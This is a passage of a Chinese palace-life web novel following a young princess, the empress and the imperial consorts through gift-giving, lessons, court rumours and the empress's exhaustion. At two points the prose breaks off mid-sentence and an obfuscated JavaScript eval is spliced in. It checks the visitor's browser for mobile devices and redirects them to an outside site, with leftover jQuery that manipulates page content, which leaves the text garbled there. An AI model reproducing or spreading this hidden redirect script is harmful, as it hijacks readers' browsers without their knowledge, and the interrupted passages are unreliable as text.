“那好吧。”公主恋恋不舍地把东西交给她,“那你要帮我照顾好它。” 易雁笑道:“公主放心。” 陛下道:“今日端午,朕也有礼物要送给孩子们。” 他说完,苏诚使了一个眼色,几位内侍鱼贯而入,将大大小小的盒子摆放在孩子们眼前。 陛下道:“朕记得太子有一个金色的冠子,依朕看,这样精美的冠子若无美玉镶嵌岂不可惜?这玉还是朕做皇子时先帝所赐,如今,朕把它赠与你。” “儿臣谢父皇。”吕哲政起身道,“儿臣定当用功,不辜负父皇的期望。” 陛下欣慰地点头,道:“齐儿不爱读书,就爱骑射武功,这把弓是朕专门让人为你做的,合你的身形。不过 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陈母妃送了一张公主睡觉时的画像。 敬母妃送了一本书,她还没翻开。 玉母妃送了一个自己扎的花环。 …… 还有好多东西,好多好多,多到公主都不记得了。 出了清河殿,公主把手里的步摇交到易雁手里,换回了自己的仙鹤灯,拉着母后的手,回了凤鸣宫。 晚上,仙鹤灯被挂在床头,皇后坐在床边,给公主扇扇子,轻声问道:“是不是不喜欢父皇给你的礼物?我看你今天拿到盒子的时候,小脸就嘟起来了。” 秦舒蕊点头,实话实说道:“父皇根本就没有用心给我选礼物,他才不爱我。不过我不伤心,母妃们都爱我,只要母妃们爱我就行了。” 皇后心里一沉,她听了这番话,委实伤心,可她不想让孩子看出来,强颜欢笑。 她温和道:“以后,就算不喜欢父皇的礼物,也要装作很喜欢,知道吗?” “我知道。”秦舒蕊往母后那边靠了靠,“如果我说不喜欢父皇的礼物,惹父皇生气了,父皇就会责怪母后教导无方,可是明明,他都不了解我,他都没跟我说过几句话,他才不知道我有多好,肯定也没办法知道母后把我教的有多好。但我知道,母后在他面前,什么道理都讲不出来,所以我不会给母后添麻烦的。” 皇后侧过身,险些落下泪来。 她不想夸蕊儿懂事,她不希望蕊儿懂事。 倘若父母恩爱,孩子何须懂事。 可帝王家,哪有那么多情情爱爱。 皇后也不想骗自己说,是因为陛下日理万机,是因为陛下要为了万里江山,不得不冷血、薄情。 都是安慰自己的蠢话罢了。 他薄情,只是因为他拥有太多,他冷血,是因为他的贪念无法控制。 难不成,对后宫的女人好一些,会让他失去江山吗? 他不屑罢了。 皇后年老,还有贵妃。 贵妃赌气,还有敬妃。 敬妃无趣,还有玉妃。 后宫中的女人就像御花园的花,他何必在一朵上过多停留。 皇后不想用蠢话安慰自己,也不想骗公主。 她希望公主看清陛下的冷情冷性,又不希望她太早看清。 “母后……”小公主爬起身,站到床上,搂住母后的脖子,“母后你怎么哭了?” “没事。”皇后抬手拭泪,“母后就是想着,蕊蕊长大了,会心疼母后了,母后高兴。” 秦舒蕊用脸去贴母后的脸颊,“母后高兴为什么要哭呢?” “特别高兴的时候就是会哭的。”皇后道,“好了,你快睡觉吧,都这么晚了,小孩子不睡觉会长不高。” 8. 皇后的职责 第二日,秦舒蕊刚起床,就开始缠着母后,说想读书。 这当然是件好事,但陛下大概不会为了秦舒蕊专门请一位师傅入后宫。 就算要去求陛下的恩典,也得等公主大一些再说,至少等到八岁,现在还太小了。 皇后道:“不如让你敬母妃教你?你敬母妃饱读诗书,少时在家,她父亲还专门为她请了教书先生,母后觉着,她不比太子太傅差。” 敬妃还没来得及开口,月昭容抢着说道:“公主想学琴吗?” 玉妃笑出声,道:“你这是生怕自家的琴艺失传了,天天变着法子哄公主学。” 秦舒蕊道:“我还是更想读书。” 敬妃道:“好啊,敬母妃也想教公主呢。你若肯学,敬母妃定然倾囊相授。” “什么青囊?”公主问道。 敬妃笑了,拉住公主的手,道:“就是尽心尽力地教你,毫无保留。” 玉妃道:“好啊,公主平日里往春和宫跑得最多,玉母妃都嫉妒呢,风水轮流转,如今终于是我们晨熙宫风头占尽了。你若肯日日来读书,玉母妃日日给你研磨。” “我也会研磨!”公主立刻说道。 皇后道:“是啊,公主厉害着呢,本宫写字的时候,她争着抢着要给本宫磨墨,还硬要易雁坐旁边看着,看她磨得好不好。” 众人笑起来。 秦舒蕊突然发现了什么,问道:“陈母妃怎么没来呀?” 贵妃忙接过话茬,道:“今日收到家书,你陈母妃家里出了点事,她心情不好,不想出门。” 皇后挑眉,收了笑容,疑惑地看向她。 后宫不得干政,妃嫔们久居于深宫,与前朝隔绝着,什么也不清楚,就算是家书都得先审查一遍,才能拿到手里。 家里出了什么事,估计陈美人自己也不清楚,一封囫囵的家书能写清楚什么。 虽然什么也不知道,但该担的责任还是要担,倘若诛九族的命令下来,她们还是得死。 说不定,哪天在宫里好好吃着饭,突然一道圣旨下来,说赐死就赐死了。 秦舒蕊没有再问了,母后说,不好的事情不要往下问,除非对方想说。 她想带着点心去看看陈母妃,她还可以把自己做的牌带上,她知道陈母妃喜欢玩这个,但母后说,陈母妃这会儿不一定想和人说话,等晚一些,至少过了今日再去。 用过午膳,贵妃提着燕窝莲子羹去了御书房。 她正准备进去,突然发现旁边的宫女低着头,不停地往后躲。 她走上前,抬起她的下巴。 她吓得喊了一声“贵妃娘娘”。 “慌什么。”贵妃没好气儿地道。 脸上没什么,头上比较奇怪。 贵妃问道:“头上的簪子,是陛下赏的吧?”瞧这红玛瑙的色泽,比昨日端午赏公主的还好些。 “是……”宫女慌张道。 贵妃放开手,没再多说什么。 宫里又要多个妹妹,她倒是没什么,就怕来个跟陈美人一样日日夜夜在她耳畔哭的,她可受不了。 她走进御书房,行礼道:“臣妾给陛下请安,陛下万安。” “坐吧。”陛下头也不抬地道。 贵妃将燕窝羹放在一边,上前去给陛下研磨。 研磨是个细致的工夫,除了手,哪里都不能动,不能问,不能看,倘若眼神不小心偏离了几分,被陛下注意到了,那可不止是以后不准进御书房这么简单。 陛下合上了手中的折子,偏过头来,打量着贵妃。 贵妃今日一身蓝衣,清丽亮眼,甚是好看。 她偏了偏头,和陛下对视,娇羞笑道:“臣妾美吗?” “好若九天仙女下瑶池,美,真美。”陛下站起身,抚摸她的脸。 贵妃偏一偏头,娇嗔道:“小心墨汁。” 她走到软塌旁,打开食盒,道:“臣妾亲自熬了燕窝银耳羹,这可是臣妾第一次下厨,务必要陛下先吃,陛下吃了,告诉臣妾甜不甜。” 她捧起碗,亲自舀一勺递到陛下嘴边。 陛下将手轻轻搭在她的手上。 纤纤玉手上覆盖着的,是一双皮肉松垮的粗短圆手。 两人甜言蜜语片刻,贵妃脱了鞋上软塌,半身倚在陛下身上,道:“陛下,臣妾想为公主求一个恩典。” “说吧。”陛下道。 贵妃道:“公主今日晨起,突然说想读书,这可不是天大的好事,姐妹们之前还怕公主不爱读书,长大了大字不识,如今,公主竟然自己说要读书,可省了许多麻烦。陛下说是不是?” “嗯。”陛下大概猜到她接下来要说什么了,“爱读书确实是好事。不过公主居于后宫,请师傅多有不便,还是算了,皇后也算饱读诗书,就让皇后教导并无不妥。” 贵妃揉捏着陛下的肩膀,撒娇道:“陛下……皇后娘娘到底比不上正儿八经的师傅,陛下前朝又不是没有女官,便择选一位教导公主,也不是什么大事。” “胡言乱语。”陛下蹙眉,幸好贵妃的力道恰到好处,陛下沉浸在这种舒服中,无暇发怒,“前朝女官入后宫教书,成什么了。” 贵妃抿了抿嘴,知道找师傅的事算是走到死胡同了。 她道:“好吧,皇后娘娘饱读诗书,敬妃妹妹博古通今,就让后宫姐妹们教导也并无不妥,但是,后宫姐妹们到底是在深宫中,很多东西想不到。不如……让齐儿每月来后宫请安的时候,把他所学的书本、字画带一份给公主,多留半日为公主讲解,好让公主学习。” “呵……”陛下情不自禁,“齐心能记住师傅昨日讲了什么就不错了,还指望他记着一个月前的。” “齐儿哪有那么差。”贵妃半撒娇半认真地道。 陛下拍拍她的手,哄道:“好,不差不差,齐儿的武艺还是很厉害的。” 贵妃转了转眼珠,道:“好了,臣妾知道齐儿书读的不怎么样,那……还有和儿呢?和儿的书读得可不差,就是身子差了点。” “好了好了,朕考虑一下。”陛下无奈道。 贵妃笑道:“臣妾替公主谢谢陛下,有陛下这样的父皇,真是公主的福气。” 夜里,贵妃都准备睡下了,突然听安禾随口说了一句“陈美人一整日水米未进”,猛然起身,穿上鞋子,披上外裳,“一整日不吃不喝怎么行,本宫去瞧瞧。” “诶,贵妃娘娘。”安禾连忙跟上去,稍微端庄一点的都追不上贵妃。 她推开偏殿的门,闯进里间,一言不发坐在陈美人床边。 陈美人面对墙壁,半天不回头。 大约过了一盏茶的工夫,她悄悄地,转过半边脸来,看到是贵妃,舒了口气,坐起身,没好气儿地道:“娘娘干什么?吓了妾身一跳,妾身还以为宫里闹鬼呢。” “本宫还以为你睡着了。”贵妃拍了她一下,一改在陛下面前小鸟依人的模样,道:“你干嘛啊?一整天不吃东西。” “娘娘又不是不知道,嫔妾心情不好。”陈美人抱着腿,闷闷道。 贵妃收敛了脾气,深吸一口气,道:“能怎么着啊,你又不知道到底发生了什么,在这里干着急有什么用,说不定只是被旁人牵连,避避风头就好了,你这样不吃不喝,饿出病来,被陛下知道,自然明白你为何伤感,说不定反而牵连了你们家呢。” 陈美人道:“若不是大事,父亲不会写信来让我知晓,他大概是想让我帮他求情吧。可他不知深宫中的艰险,求情……这一开口,万一没求好,臣妾的命倒不值钱,就怕牵连家族。” “你父亲大约也没那么蠢,深宫艰险定然是知道的,肯定不是想让你为他求情,你别多想了。万一你真去了,话没说对,情没求到,还被陛下怀疑前朝后宫勾结,你们一家的命都别要了。”贵妃说完,发觉她情绪更低落了,拍了一下她的大腿,道,“行了,你别难过了,本宫想办法帮你打探打探消息。” “这能怎么打探?”陈美人连忙抓住贵妃的手,“娘娘可别是要去帮臣妾求情,不行,万一……” “啧,你当我是傻子啊,跟你似的。”贵妃道,“本宫可惜命着呢。本宫是想着,下个月齐儿和和儿进宫请安的时候,随口问一句。” 陈美人道:“那怎么行,皇子每次入后宫拜见的时候,都有人在旁听着,若是禀报给陛下……” “哎呀你烦死了。”贵妃也烦,正琢磨着怎么办好呢,好不容易想到一个办法,还被陈美人否决了,“你侄子不是齐儿的伴读吗?随口问一句读书怎么样,顺带问一句你侄子,只要你侄子好着呢,家里应该没什么问题。” 侄子好着,家里未必好着,三皇子平日里也不怎么关心下人,伴读到底好不好他也并不一定真的知晓。 但陈美人知道,贵妃能为她做到这一步,已经是大恩了,她不能再麻烦贵妃,也不该再表现出担忧,令贵妃同她一起难受。 她凑上前,把头搭在贵妃的肩上,道:“嫔妾多谢贵妃娘娘,以后娘娘让妾身做什么,妾身都万死不辞。” “真的?”贵妃怀疑地看了她一眼,“本宫让你读书你读不读?” 陈美人:“……”她默默移开了自己的头。 “呵……”贵妃冷笑道,“本宫就知道。我可得劝劝你,你看,公主也开始读书了,端午宴会刚过,皇后娘娘忙着后宫事宜,又要侍奉太后,连公主都没时间陪,更别说陪你打牌了,本宫呢,要侍奉陛下,也不一定有时间陪你,你不无聊?” “妾身有什么无聊的。”陈美人道,“妾身拉着自己宫里的宫女内侍玩,不也一样吗?” “行,你不无聊就行。”贵妃打了个哈欠,“进去,本宫要睡了。” “娘娘睡自己宫里去啊。”陈美人一边说一边往里挪,给她腾了个地方。 贵妃有理有据地道:“本宫回去了,由着你明日再不吃不喝吗?本宫身居贵妃之位,有义务帮皇后娘娘照看宫中妃嫔,你病了,我如何向皇后娘娘交代。” 陈美人笑着瞪了她一眼,拉过被子,分了她一半。 第二日一早,去皇后娘娘宫中请安的时候,发现多了一人。 正是贵妃昨日在御书房门外遇见的宫女。 “臣妾给贵妃娘娘请安。”她起身,行礼道。 贵妃摆摆手道,“不必多礼,坐吧。”她来得晚,想来这位妹妹已经给其她姐妹行过礼了。 皇后道:“这位是新封的林美人,景福宫空着,本宫让她先住下了。林美人,本宫近日繁忙,恐有疏忽的地方,你若是缺什么,尽管说。” 林美人连忙起身,道:“多谢皇后娘娘关怀,嫔妾倍感荣幸。” 皇后道:“景福宫就你一人,恐有些冷清,景明宫就在隔壁,你可多去月昭容、柳婕妤处走动,晨起请安的事情,你们三个商量。” 贵妃玩笑道:“三个人轮流可比两个人轮流好多了,娘娘把这份恩典给了景明宫,臣妾可要吃醋了。” 皇后好笑道:“妹妹还怕后宫人不够多吗?再过几年又要选秀了,景明宫也享受不了几年的恩典了。” 陈家的事悬在头顶,陈美人时不时就心惊胆颤一下,在整日的忐忑中,终于等到了皇子们进宫问安的日子。 皇子们进宫的时间早,都是早上,从前这个时候,公主大都没醒,就算醒了,也在房间里躲着不知道干什么呢,她对她的这些个哥哥没兴趣。 但今天不一样,听说陛下准许太子在宫中多留两个时辰,教导公主读书。 她叮嘱了盼儿十多遍,又叮嘱了母后十多遍,一定要在早上把她叫醒。她每日在敬母妃宫里读书,敬母妃偶尔会提到宫外的生活,每次说到这里,玉母妃就总忍不住打岔,跟公主说宫外哪里有好吃的,皇城里哪家酥最香,每次都得被敬母妃半开玩笑半严肃地批评一番才住嘴。 她想跟太子哥哥说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991403|193725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,下次来后宫的时候,要给她带皇城里马家香的肘子吃。 皇后听完,止不住地笑,在她脸上轻轻捏了一下,道:“你太子哥哥是来教你读书的,不是来找你玩的。你装也要装出认真学习的样子来,不然陛下下次不让太子哥哥来了。” “好。”秦舒蕊应道,“我会好好装的!” 于是,第二天,公主装着好学的样子,央着殿下快点教她,等所有的书都摆上桌了,公主才开始说马家香的大肘子。 太子道:“马家香离得远,我来给母后请安之前还要先去拜见父皇,带到就凉了。而且我也住在宫里,不能天天出宫,不一定能给你带的。” “啊……”公主失望道,她想着太子哥哥能出宫,能出宫就能去马家香,能去马家香就能买猪肘子,能买猪肘子就能带进宫,能带进宫就能吃到她嘴里。 她想这套流程想了整整半个月,本来还要再等一个月就已经够烦了,没想到,下个月也不一定会有。 太子看她一蹶不振的样子,于心不忍,道:“这样吧,我头一天让侍从去付钱,跟老板商量好,早朝的时候让侍从去拿,等父皇下早朝应该刚好能到,待我到母后这里时,或许有些冷了,但味道大概还是好的。” “当真?”秦舒蕊高兴得扔了笔。 “当真。”太子道,“你还学吗?” 秦舒蕊:“……” 说实在的,她已经过了那个热爱读书的劲儿了,她最近不是很想读书了。 但她看太子哥哥好像很想讲的样子,那就稍微听一下吧。 三皇子和五皇子平时来见母妃的时候,陈美人都在她自己房间里睡觉,今日竟早起,早起也就算了,还有闲心坐到母妃身边旁听,两人都有些意外。 两位皇子还是像往常一样和母妃拉拉家常,没什么特别的,陈母妃坐在旁边,虽然看上去面色不佳,但从头到尾未发一言。 三皇子猜测,是陈美人输牌给母妃了,被罚早起在旁边装哑巴。 五皇子虽然让他不要妄自揣测,但依然觉得很有道理。 陈美人听到侄子无事时,心里稍稍松了一口气,可面上没有表现出来,依旧紧绷着,假装自己是一个严肃的人,以防被旁听的内侍怀疑。 她一边感激贵妃,一边还是不能把心放到肚子里,直到这个月的家书传来,看到父亲在信里报平安,她才真的安下心来,又开始好好吃饭、好好睡觉、拉着公主和姐妹们打牌了。 皇后听公主说,昨日去晨熙宫的路上,看到一个内侍拉着一个很大的木板车,他没拉好,震了一下,木板车上面掉下来很多西瓜,她和宫女一人抱了一个追上去,问那个小内侍要把西瓜运到哪里去。 内侍说,这是宫女们不要的。 宫里的恩典,下人们可在每年的七八九月里,每日领一个西瓜消暑。 但宫女不能吃性寒的东西,怕吃坏了肚子,御前失仪。 不能吃,又不能总放在屋里,时间长了,味道难闻。 她们没办法,干脆直接扔了。 公主听了,说她想吃,就把那些圆滚滚的西瓜全买下来了,还说以后谁有西瓜都送到凤鸣宫来偷偷卖给她,母后说了,不能糟蹋粮食。 但小公主也吃不完啊,凤鸣宫的西瓜成堆了。 皇后就让把西瓜拿出来,在凤鸣宫开两天西瓜宴,宫女内侍都轮流来吃,不用怕吃坏肚子,吃坏了就歇息两天,陛下又不往这边来,怕什么殿前失仪。 她想把每日的西瓜换成旁的什么,换成酸梅汤、银耳汤,或是晚饭里多加一道凉拌甜藕,恩典要落到实处才叫恩典,不然就是在做面子工程。 宫人得不到好处,宫里还浪费了一笔钱,实没必要。 她传来凤辇,想去与玉妃商议此事。 行至半路,看到一个宫女跪在路边低声啜泣。 她抬手,示意停轿。 易雁上前,道:“为何哭泣?” 宫女转过身来,见是皇后凤辇,忙叩首道:“回皇后娘娘,奴婢冲撞了林美人,林美人让奴婢跪在这里一个时辰思过。” 皇后蹙眉,她对林美人印象很好,恭敬有礼,谦和婉顺,和月昭容是一样的性子。 她仔细问道:“为何?” 宫女道:“……奴婢、奴婢不小心撞到了林美人。” “不可能。”皇后断言道,“林美人不是这样的人,怎么会……你们从前都是宫女,莫非你与她有什么过节?” 宫女连连摇头。 皇后道:“你所说确是实情吗?若你所言不虚,本宫免了你的罪,让你走,本宫会去彻查,倘若你所言实情,那自然无事,倘若你所言有假,本宫便将你赶出宫去。” “不……娘娘!”她吓得跪行两步,道,“娘娘,奴婢、奴婢和林美人从前是有过节……但并不是什么大事,不值得脏了娘娘的耳朵。” “本宫协理六宫,后宫的事无论好的坏的,通通都是要紧事。”皇后下了轿辇,道。 宫女道:“奴婢、奴婢……奴婢和林美人从前同在后宫的佛堂内当差,私下里吵过两句嘴,奴婢、奴婢一时激愤,打了林美人一巴掌……林美人如今罚奴婢,奴婢认。” “只是这些?”皇后逼问道。 宫女低头流泪,不敢哭出声。 她斟酌着,不知还要不要说。 “罢了。”皇后知道在她这里问出答案是没可能的了,听到的话大约都是半真半假的,与其如此,还是自己去查吧。 此事,她必须得查问清楚。 即便贵为皇后,宫人犯错,也只能按照宫规惩处,倘若要打死,须得回了陛下才行。 如果林美人真的存着报复的心,失手害死了哪个宫女,怕是会引火烧身。 无论在哪里,打死个人,都是重罪。 她要在林美人犯下重罪之前,将她从火坑中拉出来。 这是她身为皇后的职责。 9. 和自己道歉 秦舒蕊从晨熙宫回来的时候,看到母后一个人坐在椅子上发呆,她拿着笔,看着面前空白的纸张,迟迟不动。 已是傍晚时分,夕阳西下,屋里却没有点灯。 宫女都在外面候着,母后就一个人孤零零地坐在桌案前,她略微有些驼背,看上去疲惫至极。 秦舒蕊悄悄走到母后身边,靠在母后的腿上。 “哎呀。”皇后惊得摔了笔,墨汁溅在公主的脸上。 她手忙脚乱,连忙去蹭公主的脸,却把墨汁蹭得更匀称了,和公主鼻子内侧的胎记呼应着,像是一只歪着脑袋的花猫。 皇后定定神,放下笔,起身,道:“静悄悄的,吓了母后一跳,我去找人把灯点上,然后给你洗脸。” 秦舒蕊拉着母后的衣裳,让她坐下。 皇后疑惑,顺着她的意思坐下,把她抱到怀里,柔声问道:“怎么了?蕊蕊又要给母后背诗?” 秦舒蕊没发现自己手上有墨汁,抬手蹭了蹭母后的脸,不小心把母后的脸也给蹭黑了。 她不好意思地歪过头,假装没看见,道:“我刚才看见母后坐在那里一动不动的时候,感觉有点想哭。母后,你是不是很累呀?你每天都要起那么早,要照顾那么多人。要不然,母后好好睡几日安稳觉,让蕊蕊去帮母后早起。” 皇后笑了,道:“遵循宫规、关照妃嫔、处理宫中琐事,是母后的职责,这不是说替就能替的。蕊蕊不能替母后,母后也不能替蕊蕊。” 她摸了摸小公主的脑袋,亲吻她的额头,道:“母后刚才是很累,但是听到蕊蕊这么说,母后已经好多了,真的。” 她把公主从腿上放下来,道:“好了,你辛苦一天,也累了,你和盼儿出去玩,玩累了就去沐浴,早些歇息,明日早些起,你张母妃还说想带你去放风筝呢。” 秦舒蕊感觉母后的心情并没有变好多少,她想说些话来安慰母后,但是不知道该说什么。她想帮母后的忙,但她心里很清楚,自己太小了,帮不上大人的忙,硬要待在这里,也是给母后添乱。她多耽搁母后一会儿,母后就晚睡一会儿。 她乖乖地拉上盼儿的手,一步三回头地看向母后,母后背过身去,扶着门框、被易雁搀扶着,往黑暗中走去了。 盼儿道:“呀,公主的脸怎么黑了?跟个花猫似的,奴婢去打水来给公主洗干净。” 秦舒蕊道:“盼儿姐姐,早起很痛苦吗?” “呃……”盼儿转转眼珠,大约明白公主在说什么,道,“公主是想说皇后娘娘吧?依奴婢看,早起不痛苦,如果每天早起做自己喜欢的事情,定然是很开心的。但是,如果早起是因为有很多很多的事情要做,那就很痛苦了,因为太忙了,所以困了也没有办法睡觉,睡觉的话这一天的事情就做不完了。” 公主道:“今天做不完的事情,不能推到明天再说吗?” “当然不能啦!”盼儿立刻道,“有些事情是没办法拖的,就像奴婢,每天早上起来服侍公主穿衣用膳,公主午睡的时候,奴婢也要服侍,天热的时候,要帮着扇扇子,就算天不热,奴婢也要在外面守着,公主醒了,奴婢又要陪着公主读书练字,公主和娘娘们玩的时候,奴婢还得在旁边站着。这些事情怎么能拖到明天呢,明天公主还是要穿衣用膳、读书写字的啊。” 秦舒蕊还是没太明白,道:“那就不做,我可以自己穿衣服、自己吃饭,以后你也不用给我扇扇子了,也不用在外面站着,你可以回去睡觉。” 盼儿道:“可是娘娘不会允许的呀,就算娘娘允许了,她也只能允许奴婢一个人去休息,不能允许宫里的奴婢和内侍都去休息,还是会有忙碌的人,不可能因为奴婢去休息了,痛苦就没有了。” 她说完,突然捂住嘴,连忙道:“这些话奴婢只敢对公主说,求公主不要把这些话告诉别人。” 秦舒蕊沉默了很久,道:“盼儿姐姐,我不会说的。你可不可以告诉我,你喜欢做什么?” “奴婢?”盼儿思索片刻,道,“啊!奴婢喜欢读书,奴婢家里穷,没办法让奴婢读书认字,进宫以后,宫里也不许奴婢读书,奴婢没读过,不知道读书有多好,这两天跟着公主听敬妃娘娘讲书,突然觉得……觉得……嗯……拨云见日!” 秦舒蕊笑了两声,这个词是敬母妃前几天随口提到的,秦舒蕊不明白,问了一下,敬母妃就用三言两语讲了一下。 盼儿姐姐真的有好好听,可能听得比她都仔细。 她拉住盼儿的手,道:“这样吧盼儿姐姐,以后,你每天早上可以到我房里来看书,我的书你都可以看,你在敬母妃或者母后那里看到什么喜欢的书,也可以告诉我,我去帮你借过来,我自己穿衣裳,自己吃饭,自己梳头,你可以在旁边一直看到用午膳,或者你想干别的什么也可以,这样早起是不是就没那么痛苦了?” “那、那怎么行?”盼儿一下子结巴起来,“奴婢不敢。” “没关系的。”秦舒蕊道,“我不希望大家为了伺候我变得痛苦,可是对不起,我没有办法让你们都回去睡觉。但你是我的姐姐,我想让你开心一点。以后你累了,你可以到我房里睡。” “不不不,奴婢不敢!”盼儿连忙后退,俯身行礼,道,“奴婢是下人,公主身份尊贵,奴婢、奴婢卑贱。” 秦舒蕊道:“可是我很爱你。” 她上前,再次拉住盼儿的手,想让她起来,“姐姐,你是我的家人,我听你说这样的话会很难过的。如果你不想我难过的话,你要说对不起。” 盼儿不理解,但还是说了,“公主,对不起,奴婢知错,求公主恕罪。”她不知道为什么要跟公主道歉,但她是奴婢,公主让她道歉,她必须道歉。 公主道:“不是让你跟我说对不起,是让你跟自己说对不起。因为你刚才骂了自己卑贱,你不能这么说自己,如果你这么说我的话,母后肯定也会让你跟我道歉的。” 盼儿看着她的眼睛。 秦舒蕊嘟着嘴巴,拉着她的手,踮起脚想往她心口处放,“你要说对不起。” 盼儿应她的话,把手放在心口,郑重地对自己说了一声“对不起”。 秦舒蕊学着敬母妃的模样,点点头,道:“这才对嘛!” 盼儿低下头,有些想哭,可她不敢当着公主的面哭,伺候主子最重要的一条就是不能挂脸。 即便她知道公主不会怪罪她,可这么多年的循规蹈矩,让她根本不可能扭转过来。 她道:“公主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991404|193725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脸还花着,奴婢去打水给公主洗脸,等会儿干了更难洗了。” 秦舒蕊摸了一下脸,想告诉她已经干了,但她刚张开嘴,盼儿就转过身跑了。 夜里,易雁服侍皇后梳洗就寝。 皇后道:“你去睡吧,这几天忙,连累你们跟着晚睡,你去本宫库房里取些银两分给凤鸣宫的丫头内侍们,就说是本宫给的辛苦钱。本宫想想……就赏一个月月例吧。” 易雁连忙行礼道:“奴婢领命,谢娘娘赏赐。” 皇后很累,实在是没有力气去扶她了,冲她抬抬手,示意她起来。 易雁扶着皇后娘娘上床,道:“娘娘,您今日看上去有些难过?” 皇后坐在床上,叹了口气,“也不是什么大事,不过是为着林美人的事伤感罢了。” “林美人?”易雁知道,那日在去晨熙宫的路上,和被罚跪的宫女说了几句,第二日一早,娘娘就派人去查林美人在佛堂的过往。 回来禀报的宫女说,并无大事,只是一些小打小闹,宫里规矩森严,想闹出什么大事也不可能。 皇后娘娘细问到底是何事。 宫女就说:“娘娘恕罪,细节的地方奴婢也不清楚,奴婢问得仔细,但佛堂内的宫人都说不知道怎么说,就是些琐事。林美人长得好看,当奴婢的时候就爱打扮,经常在袖口绣些花样,或是把头绳的颜色弄得多些。她们私底下猜测,林美人是和哪个小侍卫勾搭上了。除了传些闲话,再就是不和她玩,端午节宫女们一起交换布料做荷包,也不带她。旁的也没什么了。” 当时说完皇后娘娘就闷闷不乐,但也没再说什么,只是叮嘱几个宫人不要把事情传出去,又让人去佛堂交代了几个宫女,此事到此为止,休得再提。 可这件事在皇后心里憋了很久,她想说,又不知道找谁说,既然易雁问起来了,她忍不住,就想说说。 她道:“本宫不知道该怎么办了,在宫中传谣是大忌,尤其是宫人私通这样恶劣的谣言。倘若谣言被戳破了,造谣者自食恶果还好,可若无人阻止,一直这么传下去,被陛下知道了,陛下不一定会细查,林美人或多或少会为此付出代价,可说到底,她也就是个爱打扮的小姑娘罢了。” 易雁不懂安慰人的,她笨口拙舌,这辈子也没学过怎么讨人开心,只知道伺候人。 她抿了抿嘴,道:“宫里这样的事情多了,奴婢没成为大宫女之前,也遭人议论过,陛下未必听得到,就算听到了,也不是娘娘的错,娘娘何苦为难自己。” 皇后听了她这番话,心更痛,她看着易雁,伸手去拉她。 皇后道:“这不是应该的,这样的事不该发生。可本宫也不知道该怎么办,本宫想去找林美人谈谈,可本宫不知如何开口。本宫想处罚那些宫人,又不知该如何处罚,也不知该用什么名头,倘若罚得重了,被陛下知道,本宫要如何说?倘若陛下自己去打听,会不会知道那些流言?会不会生出猜疑……” 她叹了口气,她好累。 可是没办法。 无论她愿不愿意,照看后宫的责任都已经落到她肩上了。 她倒下了,这后宫中痛苦的人会更多。 这是一份担上了就卸不下的职责。 10. 吃醋 第二天,众妃嫔到凤鸣宫请安的时候,看到的是公主,而不是皇后。她板板正正地坐在皇后的凤位上,时不时学着母后的样子揉揉当阳穴,或是撑着额角。 敬妃第一个来的,以为是小公主顽皮,趁着母后还在梳妆,跑过来耍耍威风,所以只是称赞了公主起得早,并未多问。 玉妃稍微蹲了下身子,用玩笑话跟小公主请了个安。 两个人和公主闲聊,聊得投入,并未注意到时间的流逝,一直等贵妃走进来,众人才意识到有问题。 月昭容问道:“怎么不见皇后娘娘?” 贵妃接话道:“皇后娘娘疼爱公主,什么都依着她,定然是因为公主觉得好玩,想早起替母后来陪我们闲聊,缠了皇后娘娘许久,皇后娘娘万般无奈,便准了。” 她说完,看向公主,学着她歪脑袋的模样,得意问道:“张母妃说的可对?” 秦舒蕊故作深沉地摇摇头,道:“一派胡言。” 房内传出接二连三的低笑声。 贵妃并未生气,笑着问道:“那蕊儿说说是为何。” “母后病了。”秦舒蕊道。 贵妃笑容凝滞。 秦舒蕊继续道:“母后昨天就说她很累,今天早上我陪着盼儿姐姐早起,听到易雁姐姐说,母后额头发热,正要去请太医。她在纠结还要不要叫醒母后,她说,母后不吩咐,她不敢自作主张,免了请安。我就说,让她不要叫醒母后,我去替母后坐在那里。” 众妃嫔面面相觑,一时间谁也说不出话来。刚才的欢声笑语消散得无影无踪。 沈昭仪道:“娘娘是太辛劳了,近日宫中事多,端午宴会刚过,宫里又新添了主子,皇子虽不住在宫中,可每月入后宫请安也要皇后娘娘来安排,眼看着下个月又要添一批新的宫女内侍,到了年纪的也要放出宫去,这些事,大大小小,千头万绪,娘娘一个人如何忙得过来。” 月昭容道:“姐姐说的是,从前好歹还有敬妃娘娘能帮忙,但自从敬妃娘娘教导公主读书以后,空闲便少了,皇后娘娘也不愿让敬妃姐姐操劳,事事亲力亲为,时间长了,安能不病?” “我可以不读书。”秦舒蕊连忙道,“如果是因为我想读书才让母后如此辛苦,那我可以不读书,反正没读过书的人那么多,不识字的人也多,都活得好好的,我读了书,也不会活得更好,但是我想让母后活得更开心。” “不是这个意思。”齐昭容连忙道。可她嘴笨,一时说不出什么来。 “你陈母妃也这么说。”贵妃道,“读书确实不能活得更好,读了书,奴婢还是奴婢,妃嫔还是妃嫔,无非就是在遇到不公时,能讲出些大道理,可那又有什么用呢?但是,蕊儿,你读书是因为自己想读,而不是为了改变什么,既然喜欢,就应该好好读下去,后宫这么多人,大家合起伙来想办法,不至于让你连书都读不下去的。” 敬妃道:“是啊,公主每日读书的时间又不长,只下午读两个时辰罢了,我平日里空余的时间很多,往凤鸣宫多走走就是。” 